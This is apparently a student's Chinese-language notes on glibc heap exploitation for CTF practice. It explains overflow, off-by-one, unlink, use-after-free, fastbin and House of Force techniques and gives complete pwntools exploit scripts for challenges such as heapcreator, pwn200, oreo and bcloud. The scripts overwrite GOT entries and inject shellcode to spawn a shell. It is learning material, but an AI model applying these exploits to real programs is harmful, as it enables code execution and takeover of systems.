ctfwiki堆漏洞整理

不出意外的话我应该是把这个鸽掉了

堆溢出

向某个堆块写入的字节数超过了可用字节数(堆管理器会对用户申请的字节数进行调整,可用字节数可能大于申请的字节数),数据溢出到下一个(物理相邻的高地址)堆块上

利用策略

  • 1.覆盖下一个chunk的内容
  • 2.利用堆中的机制如unlink,实现任意地址写入或者控制堆块中的内容

几个重要步骤

  1. 寻找堆分配函数:malloc、calloc、realloc(根据参数size的不同,实现分配和释放的功能)
    malloc不能初始化分配的空间,可能遗留上一次释放前的数据;calloc会把分配空间的每一位都初始化为空
  2. 寻找危险函数(输入输出、字符串操作)
  3. 确定填充长度(注意对齐以及可能借用下一chunk的pre_size)

Off-By-One(堆)

指溢出了一个字节(单字节缓冲区溢出)

利用思路

  1. 修改堆大小使堆块结构出现重叠,泄露其他数据或者覆盖其他数据
  2. 使prev_in_use位清零,这时前块会被认为是空闲的
    1. unlink
    2. 伪造prev_size造成堆块之间的重叠(前提是unlink的时候没有检查按prev_size找到的块和prev_size大小是否一致

b00k

然后运行一下看看程序的运行,再进ida,函数名已经把功能写的很清楚了:
main函数:
20210309165145

发现每次读入都是调用这个函数:
20210309165416
20210309165312
而仔细想想这个函数,发现当长度为32时,刚好能把结束符覆盖到下一个字节,而程序刚开始运行输入的author_name存储的位置也真的是非常的巧妙:
20210309165850
也就是说我们能够泄露出book信息存放的地址了

Chunk extend & overlapping

主要是通过其他漏洞(如off by one)修改某个chunk的size,达到覆盖后面几个chunk的效果,这样就能直接修改后面chunk的内容,造成任意地址读、控制执行等

heapcreator

照例先check一波

1
2
3
4
5
6
7
pluto@pluto-virtual-machine:~/Desktop$ checksec heapcreator 
[*] '/home/pluto/Desktop/heapcreator'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数:
20210309170512
create():
20210309170921
进入create,先为heaparry中一个成员申请出一块空间,再让这块空间中的第二个位置(*((void **)heaparray[i] + 1))指向content的内容

用gdb先分配一下,create两次,大小为2,内容分别为aa和bb,可以看到分配了四个堆:
20210309184045

20210309184657
这里回顾一下chunk的结构:
20210309184724
pre_size这个字段(8字节)在p==1即前一个chunk在使用时是提供给前一个chunk使用的
至于为什么分配的大小都是0x21,是因为分配的时候会将申请的大小转换为实际分配的大小,64位下要是16的整数倍,0x21/16==2

edit函数,19行明显可以造成溢出
20210309185720
20210309185824

剩下两个函数都是没啥大问题的

于是可以想到,构造三个chunk,然后通过第一个chunk改变第二个chunk的大小使得2、3chunk overlapping;
free chunk2,然后再次分配改变第三个chunk的大小和内容,使其指向free.got,接着调用show()把free的地址打印出来;
这时因为目标是调用system(“/bin/sh”)所以还需要劫持free的got表,而由于此时chunk2的ptr已经修改为free_got了,编辑chunk2就相当于改free_got了
于是最后一步就只需要再造一个chunk,写入’/bin/sh’然后释放,就能达到getshell的目的

关于加粗部分:
20210309193527

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#-*-coding:utf-8-*-
from pwn import *
p = process("./heapcreator")
elf = ELF('./heapcreator')
context.log_level="debug"

def create(size, payload):
p.sendlineafter("Your choice :","1")
p.sendlineafter("Size of Heap : ",str(size))
p.sendlineafter("Content of heap:",str(payload))

def edit(id, payload):
p.sendlineafter("Your choice :","2")
p.sendlineafter("Index :",str(id))
p.sendlineafter("Content of heap : ",str(payload))
p.recvline()

def delete(id):
p.sendlineafter("Your choice :","4")
p.sendlineafter("Index :",str(id))

def show(id):
p.sendlineafter("Your choice :","3")
p.sendlineafter("Index :",str(id))

create(0x18,"aaaa")
create(0x10,"bbbb")
create(0x10,"cccc")
create(0x10,"/bin/sh")

edit(0,"a"*0x18 + '\x81')
sleep(0)
delete(1)
p.recvline()
payload = "a"*0x40 + '\x08'.ljust(8,'\x00') + p64(elf.got['free'])
create(0x70,payload)
show(2)

p.recvuntil("Content : ")
free_addr = u64(p.recvuntil("Done")[:-5].ljust(8,'\x00'))
print hex(free_addr)
free_sys_offset = -0x3f1a0
sys_addr = free_addr + free_sys_offset
print '\nsys_addr: ' + hex(sys_addr)

edit(2,p64(sys_addr))
gdb.attach(p)
delete(3)
#gdb.attach(p)
p.interactive()

Unlink

对于两个释放了的物理相邻的chunk,在内存回收进行合并时会加入新的bin,此时有可能产生攻击点

unlink的过程:
20210309195222

1
2
3
4
5
6
7
8
9
10
11
当我们 free() 时
glibc 判断这个块是 small chunk
判断前向合并,发现前一个 chunk 处于使用状态,不需要前向合并
判断后向合并,发现后一个 chunk 处于空闲状态,需要合并
继而对 Nextchunk 采取 unlink 操作

unlink 具体执行的效果:
FD=P->fd = target addr -12
BK=P->bk = expect value
FD->bk = BK,即 *(target addr-12+12)=BK=expect value
BK->fd = FD,即 *(expect value +8) = FD = target addr-12

UAF

主要有这两种情况:

  • 内存块被释放后,其对应的指针没有被设置为 NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
1
2
释放后没有被置为NULL的指针称为dangling pointer(悬空指针)
没有初始化的指针称为wild pointer(野指针)

关注到free后没有把指针指向NULL的代码片段

hacknote

据说是很经典的UAF入门题。网上关于这个题的分析有很多了,但还有一些点是自己看了别人的wp然后想了好久才理解到的,就记录一下一些点。

第一次add两个node时:
notelist数组中的值:
20201218132834

notelist[i]指向的chunk中的内容,其中0x0804865b是print_note_content函数的地址:
20201218133230

删除两个node后:
20201218133934
可以看到chunk里的内容改变了,但是notelist数组的前两个值依然指向原来的chunk
(这里free的顺序出了点小问题)

再次add一个大小为8的node时:
20201218134358
发现原来的两个chunk分配给了新生成的node,。
因为上面free的顺序反了导致notelist[0]和[2]指向了相同的位置,本可以把第一个chunk的内容覆盖为system的gadget,不过…意思到了就行。

如果覆盖为system(…)即程序提供的magic函数,就可以print_nodelist[0],调用magic函数,获得shell

over!

FASTBIN有关的漏洞

  1. fastbin double free
  2. house of spirit
  3. alloc to stack
  4. arbitrary alloc

前两种主要侧重利用free函数释放真的或者伪造的chunk,然后再申请chunk进行攻击;后两种侧重于修改fd指针,利用malloc申请执行位置的chunk
原理在于,fastbin由单链表维护,并且fastbin中的chunk即使释放了,next_chunk的pre_inuse位也不会清空

lctf2016-pwn200

首先依旧是:
20210316212059
发现什么保护都没有开,(这就使得这个题有两种做法…)
再用ROPgadget搜索,没有看到system和/bin/sh

用ida打开,先看一波main_2函数:
20210316212316
其中第一个漏洞点就是在输入 “who am i” 的时候,当输入长度为48的时候,最后一位(本应该是结束符\0)会变成有效的字符,与后续的rbp相连,在下一句printf会将rbp打印出来
该函数的倒数第二句,在ida的伪c代码中,input返回后没有赋给任何变量,但实际上看汇编代码会发现:
20210316213816
刚好紧挨在“whoami”的上边

再看main_2的返回函数
20210316214104
程序唯一的两个出现malloc的函数之一。
这个函数主要是分配一个固定大小的区域,然后将输入的buf复制到区块中,再把地址赋给ptr,ptr存在bss段中(0x0602098)。
strcpy有多危险就不用说了,其次,buf的长度为0x38,读入的长度却是0x40,可以把dest覆盖掉:
20210316215426

随后的loo函数就是一个选择菜单功能,其中有checkin和checkout。checkout函数在检查指针存在性后,把ptr的堆块释放,并把指针置为0。
checkout函数如下:
20210316215654
把输入的“long”当作malloc的大小,malloc出的地址赋给ptr,然后再把"money"直接放入新建立的chunk中。

HOS

20210315165708
20210315165656

20210315222308

大致的思路就是:

  • 在第一次输入money(存入buf)时构造出一个chunk(方法是覆盖dest),指向输入的这个栈,此时这个区域在计算机的角度就成了一个chunk。
  • 将这个堆释放再分配,这个区域就变得可控,可以一直控制到返回地址
  • 因为这些函数是一个调用一个的,所以choose 3,结束了最顶层的函数,就可以返回执行shellcode

其中exp(下)中传入的id==0x61,意思是伪造fake_chunk的下一个chunk(物理相连)的size。

20210316223428

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
#context.log_level="debug"

p = process("./pwn200")
p.recv()

shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
p.send(shellcode + "a"*(48-len(shellcode)))
rbp = u64(p.recvuntil("?\n")[48:48+6].ljust(8,"\x00"))
print hex(rbp)

shellcode_addr = rbp - 0x50
fake_chunk = rbp - 0xb0

print hex(shellcode_addr)

p.sendline("17") #?min==17
p.recvuntil("money~")
#payload = "A"*0x8 + "B"*0x10
payload = "\x00"*8 + p64(0x61) + "\x00"*0x28 + p64(fake_chunk) #make a fake_chunk here
p.sendline(payload)

p.sendlineafter("choice :","2")
p.sendlineafter("choice :","1")
p.sendlineafter("how long?","79") #97==0x61

payload = "a"*0x38 + p64(shellcode_addr)
p.sendlineafter("money : ",payload)
p.sendlineafter("choice :","3")

gdb.attach(p)
p.interactive()

多调试!!!

非HOS

把dest的值覆盖为free_got,;此时如果buf中为"shellocde_addr"+“\x00”*n,free的got表就指向shellcode,执行free时就相当于执行shellocde

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process("./pwn200")
elf = ELF("./pwn200")
arch = "amd64"
#context.log_level = "debug"

p.recv()
shellcode="\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
p.send(shellcode + "a"*(48-len(shellcode)))
rbp = u64(p.recvuntil("?\n")[48:48+6].ljust(8,"\x00"))
print hex(rbp)
shellcode_addr = rbp - 0x50
print hex(shellcode_addr)
# leak rbp & shellcode_addr


p.sendline("111")
p.recvuntil("~\n")
payload = p64(shellcode_addr) + "\x00"*(0x38-len(p64(shellcode_addr))) + p64(elf.got["free"])


p.send(payload)
p.recv()
p.sendline("2")

#gdb.attach(p)
p.interactive()

2014 hack.lu oreo

20210331101129

拖到ida里分析一波,main函数做了个初始化
20210331101246
sub_804898D()里包括了菜单和进入各个功能函数的跳转
(说个题外话,这题用sendlineafter的话会一直等待after的字符串,不知道为啥…

嗯,继续

add:
20210331102125add函数做了如下操作:

  • 开辟0x38大小的空间
  • 从0x19的位置开始读入最长为0x38的字符串,并在末尾\0
  • 从起始位置读入长度为0x38的字符串,并在末尾\0
  • add_not_order_num+1

show_add:
20210331102328

order:
20210331102253

bss段:
20210331130920

整理一下这三个函数,大概能判断出枪支chunk的样子:

1
2
3
4
size
describtion //size = 0x19
name //size = 0x1F
pre_chunk_ptr

cut_input:
20210331102416
其实就是一个把字符串末尾置为\0…再和add函数的输入部分判断一下,明显有点不安全啊…

大概的思路:

1
2
3
4
1. 在add时溢出伪造指向前一个chunk的指针指向puts_got,调用show_add时就可以泄露puts的地址,获得system的地址
接下来就只需要修改某个函数的got表指向的内容然后试着执行/bin/sh,而要做到这个需要:
2. 把某段内存变成完全可控的chunk,且大小需要满足malloc(0x38)。看了看bss段,发现".bss:0804A2A8 order_mesg_ptr"好像满足要求,而且这个位置前后也没啥用
3. 获得了可控的地址后寻找可以篡改的函数got,且要能执行输入的/bin/sh字符串

第一步比较好解决:
用gdb add出两个chunk,数一下就能知道payload该填多少trash
20210331165524

1
2
3
4
5
6
7
8
9
10
payload = "a"*27 + p32(elf.got['puts'])

add(payload,"aaa")
show()

p.recvuntil("Description: aaa\n")
p.recvuntil("Description: ")
puts_addr = u32(p.recv(4))
print hex(puts_addr)
sys = puts_addr - 0x24f00

第二步,想要在bss段上构造一个chunk(如下图)的话,

20210331183238
(另外还要把order_mesg_ptr看作chunk的size,置为0x40)

1
2
3
4
5
6
7
a = 1
while a<0x3f:
add("aa","aa")
a+=1
#0x3f and leave one here
fake_chunk = 0x0804A2A8
add("1"*27+p32(fake_chunk),"aaaa")

是很明显的。
但如何能让这块区域能够使用就要考虑free时对next_chunk的判断:

1
2
payload = "\x00"*0x20 + "a"*4 + p32(100)
add_message(payload)

此时order()后,fastbin接收的(唯一一个)chunk将在下一次malloc时分配出去
随后修改strlen指向的地址就能在cut_input()时getshell

1
2
3
4
5
payload = p32(elf.got['strlen']).ljust(20,'a')
add("aaa",payload)
add_message(p32(sys)+';/bin/sh')
p.interactive()
# system(p32(system_addr);"/bin/sh") = system(p32(system_addr));system("/bin/sh");

另:写一半把ida关了,且没保存数据orz,所以最后就写的比较快且没有截图了…

参考:
https://bbs.pediy.com/thread-247214.htm
https://ctf-wiki.org/pwn/linux/glibc-heap/fastbin_attack/#2014-hacklu-oreo

House of Force

1
2
3
4
5
6
7
8
9
10
11
利用条件:
- 能够以溢出等方式修改top chunk的size域
- 自由控制堆分配的大小

步骤:
1. malloc(100)//随便分配一个chunk
2. 使用溢出修改top chunk的size为一个大数//不会去调用mmap
3. malloc(size)//size=目标地址减去 top chunk 地址,再减去 chunk 头的大小
4. p = malloc(100); p == 目标地址

摘自0x2l师傅的文章

HITCON TRAININGLAB 11

略…
相关记录在2021-03-22的日报里

BCTF-bcloud

搞了好久…现在是早上五点,不想写了
注释啥的都在exp和ida文件里
有两种方法,主要是把top_chunk指向bss段的content_ptr或content_len,由此可以在里边任意写,更改函数got表指向的内容。

画图和调试很重要!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
#context.log_level = "debug"

p = process("./bcloud")
elf = ELF("./bcloud")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
def add (len, content):
p.recv()
p.sendline("1")
p.sendlineafter("content:",str(len))
p.sendlineafter("Input the content:\n",content)

def delete(id):
p.recv()
p.sendline("4")
p.sendlineafter("Input the id:\n",str(id))

def edit(id,content):
p.recv()
p.sendline("3")
p.sendlineafter("Input the id:",str(id))
p.sendlineafter("Input the new content:",content)


p.sendafter("name:\n","a"*0x40)
first_heap = u32(p.recv()[68:4+68].ljust(4,"\x00"))-8
print "heap_base: " + hex(first_heap)


p.send("A"*0x40)
p.sendlineafter("Host:\n",p32(0xffffffff))
topchunk_addr = first_heap + 0x48*3 #这里第一次时候因为看gdb显示每个chunk大小是0x49,就写了0x49*3,但其实那个size应该是包括了pre_use的,因此是0x48
print "topchunk_addr : " + hex(topchunk_addr)


content_ptr = 0x0804B120
content_len = 0x0804B0A0

target_addr = content_len - 8 #?
off_target = target_addr - topchunk_addr
malloc_size = off_target - 4 -7 #??

add(malloc_size -4 , '')
print "malloc_size : " + hex(malloc_size) + "\ntarget_addr : " + hex(target_addr)
# now, topchunk_addr -> content_len-8 ?

# 关于这个topchunk指向的问题,上下两种方法在调试时,试了malloc几个相近的大小(±0x10),pwndbg的topchunk都指向0x804b000,在后面分配时也没有显示增加了chunk
# 目前还不知道是为啥...



payload = p32(16)*3
payload += 'a'*(content_ptr - content_len -12)
payload += p32(elf.got['free']) + p32(elf.got['atoi'])*2
#create 3 contents, with len==16, contents = free_got_addr, atoi_got_addr, ~
add(1000,payload)

edit(0,p32(elf.plt['puts']))
#free_got points to puts_plt


delete(1) #puts no.1's content, which is atoi_got_addr
atoi_addr = u32(p.recv(4))
print "atoi_addr: " + hex(atoi_addr)
offset = atoi_addr - libc.symbols['atoi']
sys_addr = offset + libc.symbols['system']

edit(2,p32(sys_addr))
p.sendlineafter("option--->>\n",'/bin/sh\x00')
p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#泄露puts
## 前面与↑相同


content_ptr = 0x0804B120
content_len = 0x0804B0A0
target_addr = content_ptr
malloc_size = target_addr - topchunk_addr -0x10
add(malloc_size, 'junk')
print "malloc_size : " + hex(malloc_size) + "\ntarget_addr : " + hex(target_addr)
# topchunk -> content_ptr - 0x8

add(0x18,'')

# 以下部分用gdb查看内存中的内容比较容易搞懂
payload = p32(0) + p32(elf.got['free']) + p32(elf.got['puts']) + p32(0x804b130) + '/bin/sh'
edit(1,payload )
edit(1,p32(elf.plt['puts'])) #修改free_got为puts_plt
delete(2) #输出puts_addr

puts_addr = u32(p.recv(4))
print "puts: " + hex(puts_addr)
sys_addr = puts_addr - 0x24f00

edit(1,p32(sys_addr))
#gdb.attach(p)
delete(3)
p.interactive()

做这题的时候感觉很奇怪。首先是第一种泄露atoi的方法,似乎只在给定libc的时候有效,把获得的atoi的地址放进libc database里查的时候查不到对应的libc…而第二种泄露puts的方法就可以正常getshell

参考: